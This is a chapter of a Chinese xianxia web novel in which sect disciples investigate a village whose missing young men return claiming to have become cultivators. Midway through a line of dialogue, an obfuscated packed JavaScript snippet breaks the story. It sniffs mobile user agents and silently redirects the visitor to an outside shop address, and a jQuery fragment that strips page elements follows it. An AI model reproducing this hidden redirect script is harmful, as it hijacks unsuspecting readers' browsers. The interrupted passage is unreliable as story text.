“大胆!”
老村长一掌劈在桌上,这可怜的老物什一下就裂了缝,他脸上闪过一丝肉疼。
“大人物就坐在这儿呢!休要胡言!”
话音刚落,一男一女就杀气腾腾闯了进来,无人敢拦。
“丰谷村村长何在?”
陈在野循声瞧去。
二人皆着一身青袍,气质出众,许是谁家宗门高徒。
左边的男弟子手持弯刀,身材挺拔,长相没有什么辨识度,唯一特别之处就是鼻梁奇高。
右边的女弟子手握长鞭,紧绷着脸,看谁的眼神都淡淡,一副倦极了的模样。
“二位是?”老村长咽了咽口水。
“昆仑派,”高鼻梁亮出令牌,将目光移向陈在野四人,“他们是?”
“岳峙门。”陈在野也简洁答道。
高鼻梁和不高兴朝四人微微点了下头,也算是打过招呼了。
“昆……昆仑派……”老村长膝盖一软,“二位仙师大驾光临,所为何故啊?”
“奉令捉拿贼人,还望村长行个方便。”
“那是自然,那是自然……”老村长连连称是。
“四位道友勿恼,”高鼻梁见杜蘅皱眉,解释道,“我们昨日已传信给陈掌门,说清缘由,没有擅闯宝地之意。”
陈在野支着下巴端详二人。
眼下青黑,风尘仆仆。
好生急迫。
究竟是什么样的贼人,能叫昆仑派如此失态?
她有些好奇。
“仙师要小人如何协助啊?”老村长坐立不安。
“此地近三个月可来过生人?”
他揣着手回忆了一会儿,才说:“没有听说哇。”
“没有?”不高兴一甩鞭子,“啪”的一声吓得老村长一抖。
“村里是真的没有来过生人哪——不过山里不好说,那里实际归东篱山庄管。”
“东篱山庄?”
“就是一伙儒修!”张有容立刻插了一句。
二人闻言凝思了一阵,又问:“最近有没有发生什么奇怪的事?”
老村长悄悄拿眼看陈在野四人。
“这……”
“怎么?”不高兴也顺着看向他们。
“看我们做什么。”杜蘅拧眉。
“是、是。”老村长不敢瞒昆仑派,只能如实说来。
高鼻梁和不高兴听完,互相对视一眼,表情有些复杂。
“四位道友正是为此事来的?”高鼻梁沉吟片刻,朝四人走近了一步。
“是。”
“如此,我们与四位也算是殊途同归,倒不如同行?”
杜蘅正欲开口,桌下的脚就被狠狠踩了一脚,害得他差点闷哼出声。
“道友说笑了,”陈在野扬唇笑道,“你们是来捉贼的,我们是来找失踪的村民的,如何能同行?”
“此言差矣……”
“师兄,与他们多说什么,事不宜迟,我们自去便是。”不高兴右手一提,收回长鞭。
“祝二位一路顺利。”她立即拱拱手。
高鼻梁欲言又止,止言又欲。
这里到底是岳峙门的地界,他们初来乍到,若能得岳峙门相助,定能事半功倍。
半日,他一咬牙,看向陈在野,说道:“我等并无恶意,道友再考虑考虑。”
“非是我们不愿……”
她正要与他周旋,方才来通传的那个大嗓门又跑来了——
“村长——村长——”
“回来了!他们回来了!”
“谁回来了?快说呀。”村长急不可耐地拉住大嗓门。
“大牛!还有其他人!之前失踪的都回来了!”
举座皆惊。
“快带我去!”老村长急急朝外冲出。
陈在野、云起时还有杜蘅三人几乎是同一时间站起身来。
“走。”云起时拽了张有容一把。
“跟上!”高鼻梁朝不高兴一点头,二人也追上来。
六个人一路跟着村长来到村门口,茅草和干木搭的简陋村门外,已经围了乌泱泱一群人。
人群中间,是十来个青壮年,正是之前失踪的大牛一行。
“儿啊、你吓死爹娘了!”
“万幸,真是万幸!回来了就好……”
“……”
老村长费力挤进去。
“你们这几个混球!这段时日跑哪去了?我们还以为……还以为……”
他说着说着就说不下去了,抬袖拭了拭眼角。
为首的年轻人应该就是大牛,他嘻嘻笑道:“村长,我们是得道了!”
“得道?得什么道?”
“东篱山庄的仙人已经收我们为徒啦!我们也是修士啦!”有人说道。
人群静了一霎。
“修士???”
突然拔起一个高音——
“你还想成仙不成!”
一呼百应。
“是啊、修什么仙啊,你们哪是那有机缘的人,还是回家来种地吧!”
“你……你难道不要我们母女俩了?”
“不可,不可!难道你们忘了大牛家里那个小的,被带去修仙后没几年就死啦!”
“……”
陈在野四人和高鼻梁、不高兴藏在人群之后,都不打算插手,只静观其变。张有容想凑近去看,被陈在野拉了回来。
不料却被村长点了名。
“不管做什么,都要跟我们说一声才是呀,哪怕是差人送个信都行,要不然大家日日担惊受怕,晚上连觉都睡不好……还让岳峙门的仙师白跑一趟,唉、我真不知道说你们什么好!”
打头的大牛听到“岳峙门”三个字,眼底闪过几分错乱。
“村长,您这是做什么啊,怎么能麻烦仙师呢?”
“还不是担心你们!”老村长唉声叹气,“现在是什么世道?邪修横行,死在邪修手下的亡灵还少吗?”
“呃……仙师在何处?我们也敬仰许久,让我们拜见拜见吧。”
陈在野正要上前,却被云起时拉住。
他摇摇头,在她耳畔飞快说道:“师姐去恐怕打草惊蛇,我来。”
人群让开一条道,让云起时进来。
“村长仔细瞧瞧,之前失踪的是不是都回来了。”他说。
大牛赶在村长之前,“哎呀”地惊叫了一声。
“仙师真是仪表不凡、年少有为哪!”
云起时努力展平双眉,朝他点了个头。
……点完头却没有急着移开视线,而是目光如炬地紧盯着他。
大牛被他看得一愣。
“仙师,您怎的这般看我?”
周围有人起哄:“看你长得和他一样俊哩!”
村长瞪了那人一眼,然后对云起时说道:“仙师勿怪,我们这些乡野粗人不会说话……”
“无妨,失踪的都回来了吗?”
“都回来了!一个不少、一个不多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623305|183010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚刚好!”
老村长搓搓皲裂的手掌,又舔了舔起皮的嘴唇,“那个……仙师您看,失踪的也都回来了,这事也没有什么接着查的必要,都是我们瞎担心……不如就算了吧?”
“嗯。”他应了下来。
“散了散了,乡亲们都散了吧!”
旁边人一听,喜上眉梢,当即拉走老村长,神神秘秘说道:“村长,我们有件事要跟你说!”
“什么事?对了,你们带回来两个大缸是……”
云起时返回到陈在野身边,六个人顺着人潮一并退去,找了处僻静的角落。
“你们跟着我们干什么?”张有容看了眼高鼻梁和不高兴,哼了一声。
“这伙人古怪,你们也看出来了吧?”
“哪里古怪?”张有容大吃一惊。
五个人十分有默契,都没有理睬他。
“还真都是修士了。”云起时语焉不详,没有避过昆仑派这二人。
这二人肯定知道些什么,信息互通互惠共利最好不过。
踏入炼气期的第一课便是观气。
修士的气与普通人的气不同,这是辨认修士最简单的方法。
升入更高境界后,不仅能轻易分辨修士与普通人,还能瞧出对方大致是什么修为。
“丰谷村卧虎藏龙。”高鼻梁话中也带了些试探之意。
“应该说东篱山庄卧虎藏龙才对。”陈在野笑道。
他哼笑了几声,也语焉不详:“说不定,不假时日,这丰谷村就要成修士村了。”
陈在野眼皮一跳,杜蘅也脸色一沉。
他到底想说什么?
“四位不急着回吧。”不高兴掂量着手中的长鞭。
“我们是闲人,自然比不得二位要务缠身。”云起时淡淡说道。
“你们在打什么哑谜?”张有容挠挠头。
“方才失言,随口胡说了几句,几位切勿当真。”
……此地无银三百两。
高鼻梁慢悠悠道:“几位还不愿与我们同行吗?”
“我师弟有句话说的没错,我们是闲人,不急。”陈在野也慢悠悠道。
“既然如此,我们就先告辞了,”高鼻梁和不高兴一拱手,“几位若想通了,想与我们同行,来寻我们就是。”
“后会有期。”
“……到哪寻他们啊?也不约个地方,我看他们就没想跟我们一处。”人一走远,张有容便嘟囔道。
三人假装没听见。
“对了,我们为什么不跟他们一起啊?”
“你知道他们是谁吗?”陈在野叹了口气。
“不知道啊,”他眼睛一亮,“对啊,我们还没有问他们是谁呢!”
她扶额。
这废物小点心。
“‘蛇影弯刀蝎尾鞭’,这二人是昆仑阴武学派的人。”云起时说。
“所以?”
“你是真两耳不闻窗外事,也没心读圣贤书啊,”她叹道,“最近咱们那位新上任的齐盟主正虎视眈眈呢,唯恐不能将昆仑阴武学派拉下水,以此断昆仑一臂——这种时候,怎么敢参与进他们的事?”
张有容半天才将她这话消化掉,作为四个人中唯二修习阴武学的人,他显然没有陈在野这样的好定力。
“那咱们该帮他们呀!”
陈在野不语,望着远去二人的背影,面色沉凝。
杜蘅有些失神,像隔着一层浓雾看她。
她原来心里这般清楚吗……